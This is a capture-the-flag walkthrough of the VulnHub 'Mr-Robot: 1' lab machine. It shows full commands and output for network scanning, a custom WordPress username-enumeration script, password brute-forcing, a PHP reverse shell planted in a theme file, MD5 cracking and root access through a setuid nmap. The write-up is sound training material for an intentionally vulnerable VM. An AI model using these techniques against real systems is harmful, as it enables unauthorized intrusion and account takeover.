[VulnHub] Mr-Robot: 1

“Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.” – Jason

More information and OVA file download please check here.

Attacker & Target

Attacker: Kali2 Linux (10.1.1.130/24)

Target: Mr-Robot: 1 (10.1.1.137/24)

Vulnerability & Exploit

  • robot.txt sensitive information disclosure
  • WordPress username and password bruteforce attack
  • Exploit Old NMAP --interactive privilege escalation vulnerability to get ROOT

Method

  • Scanned the network to discover the target server [arp-scan]
  • Port scanned the target to discover running services and open ports [masscan && nmap]
  • Web application scanned to dig more information about web service [nikto]
  • Scan specific vulnerability for WordPress CMS [wpscan]
  • Exploit WordPress administrator/editor account to upload webshell [php-reverse-shell]
  • Enumeration and exploit the local priviledge vulnerability (old NMAP --interactive vulnerability) to get ROOT

Tools

All the tools used here can be found in Kali Linux

Walkthrough

Using arp-scan as routine to detect the target’s IP address.

1
2
3
4
5
6
7
8
9
10
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.1.1.1  00:50:56:c0:00:08   VMware, Inc.
10.1.1.2  00:50:56:f1:61:7e   VMware, Inc.
10.1.1.137    00:0c:29:61:51:fa   VMware, Inc.
10.1.1.254    00:50:56:f3:e7:2a   VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 3.021 seconds (84.74 hosts/sec). 4 responded

10.1.1.137 is our Target!

Then run masscan to detect opening ports on the target (masscan is much faster than nmap when doing a full ports scan, so here I use it to make a full scan and then use nmap to do a deep scan on target ports).

1
2
3
4
5
6
7
8
root@kali:~# masscan -p1-65535 10.1.1.137/32 --rate=10000

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2016-08-05 12:37:00 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 10.1.1.137
Discovered open port 443/tcp on 10.1.1.137
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...truncated...
Nmap scan report for 10.1.1.137
Host is up (0.0037s latency).
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
MAC Address: 00:0C:29:61:51:FA (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 3.19, Linux 3.2 - 4.0
Uptime guess: 0.000 days (since Fri Aug  5 08:38:08 2016)
Network Distance: 1 hop
...truncated...

Only port 80 and 443 is found and Apache is the HTTP server.

In the meanwhile, I run nikto to scan web vulnerabilities in terms of port 80 found by port-scanning stage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
- Nikto v2.1.6/2.1.5
+ Target Host: 10.1.1.137
+ Target Port: 80
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ GET Retrieved x-powered-by header: PHP/5.5.29
+ GET Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ GET Uncommon header 'tcn' found, with contents: list
+ GET Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: GET /admin/: This might be interesting...
+ GET Uncommon header 'link' found, with contents: <http://10.1.1.137/?p=23>; rel=shortlink
+ GET /readme.html: This WordPress file reveals the installed version.
+ GET /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: GET /license.txt: License file found may identify site software.
+ GET /admin/index.html: Admin login page/section found.
+ GET Cookie wordpress_test_cookie created without the httponly flag
+ GET /wp-login/: Admin login page/section found.
+ GET /wordpress/: A Wordpress installation was found.
+ GET /wp-admin/wp-login.php: Wordpress login found
+ GET /blog/wp-login.php: Wordpress login found
+ GET /wp-login.php: Wordpress login found

WordPress CMS is found, also /robots.txt and /license.txt are found.

So I run wpscan to scan this WordPress CMS, and in the mean time, I go have a look at the two interesting files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@kali:~/mrRobot# wpscan --url 10.1.1.137
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.8
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] It seems like you have not updated the database for some time.

[+] URL: http://10.1.1.137/
[+] Started: Fri Aug  5 23:16:00 2016

[+] robots.txt available under: 'http://10.1.1.137/robots.txt'
[!] The WordPress 'http://10.1.1.137/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-MOD-PAGESPEED: 1.9.32.3-4523
[+] XML-RPC Interface available under: http://10.1.1.137/xmlrpc.php

[+] WordPress version 4.3.5 identified from rss generator

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Finished: Fri Aug  5 23:16:01 2016
[+] Requests Done: 48
[+] Memory used: 7.668 MB
[+] Elapsed time: 00:00:00

From the wpscan result, there is nothing special information. But from the robot file /robots.txt, I got the 1st flag!

1
2
3
User-agent: *
fsocity.dic
key-1-of-3.txt

The first key found in the file key-1-of-3.txt: 073403c8a58a1f80d943455fb30724b9

And I got a dictionary file fsocity.dic as well.

Highly believed that I can brute force username / password by using this dictionary file, and I filtered it to include the strings which only between 4-8 digitals.

1
2
3
4
5
6
7
8
9
root@kali:~/mrRobot# grep -E '^[a-zA-Z]' fsociety.dic | sort -u |  awk 'length($1) <=8 && length($1) >= 4 { print $1}' > users.txt
root@kali:~/mrRobot# ls -l
total 7124
-rw-r--r-- 1 root root    1546 Aug  5 08:48 10.1.1.137_nikto.txt
-rw-r--r-- 1 root root    1845 Aug  5 08:38 10.1.1.137_nmap.txt
-rw-r--r-- 1 root root 7245381 Aug  5 23:49 fsociety.dic
-rw-r--r-- 1 root root   37007 Aug  7 04:06 users.txt
root@kali:~/mrRobot# wc -l users.txt
5247 users.txt

In order to brute force wordpress username, I could not find any tool on the Internet, so I write a simple script enum_wp_users.sh to do it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash

function usage(){
  echo "### wordpress username enumerator v0.1"
  echo "### by using wordpress' lostpassword function."
  echo ""
  echo "USAGE: $0 <base-url> <wordlist>"
}

function main(){
  local base_url=$1
  local wordlist=$2

  for word in $(cat "$wordlist"); do
      if ! curl -s --data "user_login=${word}&redirect_to=&wp-submit=Get+New+Password" "http://${base_url}/wp-login.php?action=lostpassword" | grep -q ERROR; then
          echo "Found valid username: ${word}"
      fi
  done
}

if [ -z $2 ]; then
  usage
else
  main "$@"
fi

By using this script with filtered dictionary file users.txt, I found one valid username elliot.

1
2
3
4
root@kali:~/mrRobot# ./enum_wp_users.sh 10.1.1.137 users.txt
Found valid username: elliot
Found valid username: Elliot
Found valid username: ELLIOT

Then using wpscan to brute force password for the user elliot.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:~/mrRobot# cat fsociety.dic | sort -u | awk 'length($1) <= 16 && length($1) >= 6 { print $1 }' > pass.txt
root@kali:~/mrRobot# wpscan --url 10.1.1.137 --wordlist ~/mrRobot/pass.txt --username elliot
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.8
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://10.1.1.137/
[+] Started: Mon Aug  8 03:09:23 2016

[+] robots.txt available under: 'http://10.1.1.137/robots.txt'

...truncated...

  [+] [SUCCESS] Login : elliot Password : ER28-0652


  +----+--------+------+-----------+
  | Id | Login  | Name | Password  |
  +----+--------+------+-----------+
  |    | elliot |      | ER28-0652 |
  +----+--------+------+-----------+

[+] Finished: Mon Aug  8 03:11:37 2016

Found the password is ER28-0652

However, there is another way to find out the WordPress login username and password, rather than brute force.

From the result of nikto scan, I noticed there is another file found /license.txt. By checking the source code of the file on http://10.1.1.137/license.txt

I found:

1
2
3
4
5
6
7
8
9
10
11
<pre>
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

...truncated...

do you want a password or something?

...truncated...

ZWxsaW90OkVSMjgtMDY1Mgo=
</pre>

By decoding the Base64 encoded string: ZWxsaW90OkVSMjgtMDY1Mgo=, I got a username / password elliot:ER28-0652

and from nikto scan, I also noticed that the admin login page is http://10.1.1.137/wp-login.php.

So, try to login with the found username / password and succeed!.

Now heading to Appearance –> Editor –> 404.php (notice here the theme is twentyfifteen) and replaced the content with pentestmonkey’s php reverse shell (configured to connect back on port 443).

Then setup NC to listen on port 443.

Now, by accessing the page http://10.1.1.137/wp-content/themes/twentyfifteen/404.php to trigger the reverse shell connect back to my attacking machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@kali:~# nc -lvnp 443
listening on [any] 443 ...
connect to [10.1.1.130] from (UNKNOWN) [10.1.1.137] 47762
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 09:01:50 up 15 min,  0 users,  load average: 0.00, 0.02, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ pwd
/
$ ls -al
total 84
drwxr-xr-x  22 root root  4096 Sep 16  2015 .
drwxr-xr-x  22 root root  4096 Sep 16  2015 ..
drwxr-xr-x   2 root root  4096 Sep 16  2015 bin
drwxr-xr-x   3 root root  4096 Nov 13  2015 boot
drwxr-xr-x  13 root root  3960 Aug  7  2016 dev
drwxr-xr-x  77 root root  4096 Aug  7  2016 etc
drwxr-xr-x   3 root root  4096 Nov 13  2015 home
lrwxrwxrwx   1 root root    33 Jun 24  2015 initrd.img -> boot/initrd.img-3.13.0-55-generic
drwxr-xr-x  16 root root  4096 Jun 24  2015 lib
drwxr-xr-x   2 root root  4096 Jun 24  2015 lib64
drwx------   2 root root 16384 Jun 24  2015 lost+found
drwxr-xr-x   2 root root  4096 Jun 24  2015 media
drwxr-xr-x   4 root root  4096 Nov 13  2015 mnt
drwxr-xr-x   3 root root  4096 Sep 16  2015 opt
dr-xr-xr-x 339 root root     0 Aug  7  2016 proc
drwx------   3 root root  4096 Nov 13  2015 root
drwxr-xr-x  14 root root   500 Aug  7 08:47 run
drwxr-xr-x   2 root root  4096 Nov 13  2015 sbin
drwxr-xr-x   3 root root  4096 Jun 24  2015 srv
dr-xr-xr-x  13 root root     0 Aug  7  2016 sys
drwxrwxrwt   5 root root  4096 Aug  7 08:49 tmp
drwxr-xr-x  10 root root  4096 Jun 24  2015 usr
drwxr-xr-x  11 root root  4096 Jun 24  2015 var
lrwxrwxrwx   1 root root    30 Jun 24  2015 vmlinuz -> boot/vmlinuz-3.13.0-55-generic
$ 

Then use python to get a better shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python -c 'import pty; pty.spawn("/bin/bash");'
daemon@linux:/home/robot$ pwd
pwd
/home/robot
daemon@linux:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5
daemon@linux:/home/robot$ 
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
daemon@linux:/home/robot$ cat /etc/passwd | grep robot
cat /etc/passwd | grep robot
robot:x:1002:1002::/home/robot:

Found the 2nd key file key-2-of-3.txt, but it only can be read by user robot

However, I found the username robot and the MD5 hash value of his password c3fcd3d76192e4007dfb496cca67e13b in the file /home/robot/password.raw-md5

By cracking the MD5 hash, I got robot’s password is abcdefghijklmnopqrstuvwxyz

Also, by checking the /etc/passwd file, I noticed that robot is a system user.

Now I can su to user robot.

1
2
3
4
5
6
7
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ id
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)

Now, I can read the 2nd key:

1
2
3
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

The 2nd key is 822c73956184f694993bede3eb39f959

Now move on to enumeration and rooting, I found there is an old version of NMAP vulnerability which can be exploited to get ROOT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
robot@linux:/tmp$ /usr/local/bin/nmap -v
/usr/local/bin/nmap -v

Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2016-08-07 12:40 UTC
No target machines/networks specified!
QUITTING!
robot@linux:/tmp$ ls -la /usr/local/bin/nmap
ls -la /usr/local/bin/nmap
-rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
robot@linux:/tmp$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# pwd
pwd
/tmp
# cd /root
cd /root
# pwd
pwd
/root
# ls -al
ls -al
total 32
drwx------  3 root root 4096 Nov 13  2015 .
drwxr-xr-x 22 root root 4096 Sep 16  2015 ..
-rw-------  1 root root 4058 Nov 14  2015 .bash_history
-rw-r--r--  1 root root 3274 Sep 16  2015 .bashrc
drwx------  2 root root 4096 Nov 13  2015 .cache
-rw-r--r--  1 root root    0 Nov 13  2015 firstboot_done
-r--------  1 root root   33 Nov 13  2015 key-3-of-3.txt
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-------  1 root root 1024 Sep 16  2015 .rnd
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
# 

Now we got ROOT and the 3rd key is 04787ddef27c3dee1ee161b21670b4e4

2016-08-10 06:46:39 -0400